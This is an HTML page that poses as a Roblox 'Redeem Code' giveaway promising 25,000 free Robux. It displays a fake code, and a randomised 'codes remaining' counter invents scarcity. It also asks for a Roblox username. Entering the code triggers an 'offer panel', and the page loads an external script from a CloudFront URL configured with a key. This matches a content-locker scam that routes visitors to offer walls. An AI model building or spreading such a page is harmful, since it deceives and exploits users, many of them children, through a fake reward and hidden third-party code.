<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redeem Code</title>
    <style>
        body {
            background: linear-gradient(180deg, #00bdff, #0093ff);
            color: white;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }
        .container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }
        .green-banner {
            background-color: green;
            padding: 15px 20px;
            color: white;
            font-size: 1.2em;
            margin-bottom: 30px;
            text-align: center;
            border-radius: 5px;
            width: 80%;
            max-width: 600px;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
        }
        .green-banner img {
            height: 20px;
            width: 20px;
        }
        .header img {
            max-width: 300px;
            height: auto;
            padding: 20px;
            padding-top: 0px;
        }
        .form-container {
            background-color: #012a4a;
            padding: 30px 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            text-align: center;
            width: 80%;
            max-width: 600px;
        }
        .form-container input {
            width: 80%;
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            border: 1px solid #ccc;
            font-size: 1em;
        }
        .form-container button {
            padding: 10px 20px;
            font-size: 1em;
            background-color: #6a00ff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        .form-container button:hover {
            background-color: #5800cc;
        }
        .error-message {
            color: red;
            font-size: 1em;
            margin-top: 15px;
        }
        .logo-container {
            margin-top: 20px;
            display: flex;
            gap: 20px;
            justify-content: center;
        }
        .logo-container img {
            width: 50px;
            height: 50px;
            cursor: pointer;
        }
    </style>
    <script type="text/javascript">
        var YmHnn_CgA_tpkcGc = {"it": 4413285, "key": "e3ac4"};
        function _Jf() {
            alert("Offer panel opened"); // Placeholder for the actual offer panel function
        }
    </script>
    <script src="https://d2rst8vhtu89fd.cloudfront.net/80dd220.js"></script>
</head>
<body>
    <div class="container">
        <div id="green-banner" class="green-banner">
            <img src="https://img.icons8.com/emoji/48/000000/wrapped-gift.png" alt="Gift">
            <span>25,000 Robux Code: BUX15 <br>Only 15 codes remaining.</span>
        </div>
        <div class="header">
            <img src="https://fortnitefontgenerator.com/img.php?textcolor=FFFFFF&text=Redeem&fontsize=77px" alt="Redeem">
        </div>
        <div class="form-container">
            <input type="text" id="code" placeholder="Enter Code">
            <input type="text" id="username" placeholder="Enter Roblox Username">
            <button id="redeemButton">Redeem</button>
            <div id="error-message" class="error-message"></div>
        </div>
        <div class="logo-container">
            <a href="https://www.roblox.com/communities/34792893/Faxero-Roblox" target="_blank">
                <img src="https://cdn.discordapp.com/attachments/1271654057898934273/1323173476399448156/250.png?ex=67738cd4&is=67723b54&hm=1b54f51f37680d78e44615d524b1c1ca10ff7076e5efd6cc2805f3903dd1faf7&" alt="Roblox Logo">
            </a>
            <a href="https://www.x.com/roblox" target="_blank">
                <img src="https://cdn.discordapp.com/attachments/1271654057898934273/1323178592791957584/fNJ8HAAAAAElFTkSuQmCC.png?ex=67739197&is=67724017&hm=b136eb817659a525b8048d940555d57cd98fd8af63a0dcec48a701c1b6c79849&" alt="Twitter">
            </a>
        </div>
    </div>

    <script>
        // Generate a random number for the codes left and display it
        function generateCodesLeft() {
            const remainingCodes = Math.floor(Math.random() * 16) + 5; // Random number between 5 and 20
            const banner = document.getElementById("green-banner");
            banner.querySelector("span").innerText = `25,000 Robux Code: BUX15 \nOnly ${remainingCodes} codes remaining.`;
        }

        // Call the function on page load
        generateCodesLeft();

        // Validate the code input
        function validateCode() {
            const codeInput = document.getElementById("code").value;
            const validCode = "BUX15"; // Example valid code
            const errorMessage = document.getElementById("error-message");

            if (codeInput === validCode) {
                // If code is valid, execute the script
                _Jf();
                errorMessage.innerText = "";
            } else {
                // If code is invalid, show error message
                errorMessage.innerText = "This code is invalid.";
            }
        }

        // Add event listener for button click
        document.getElementById("redeemButton").addEventListener("click", validateCode);
    </script>
</body>
</html>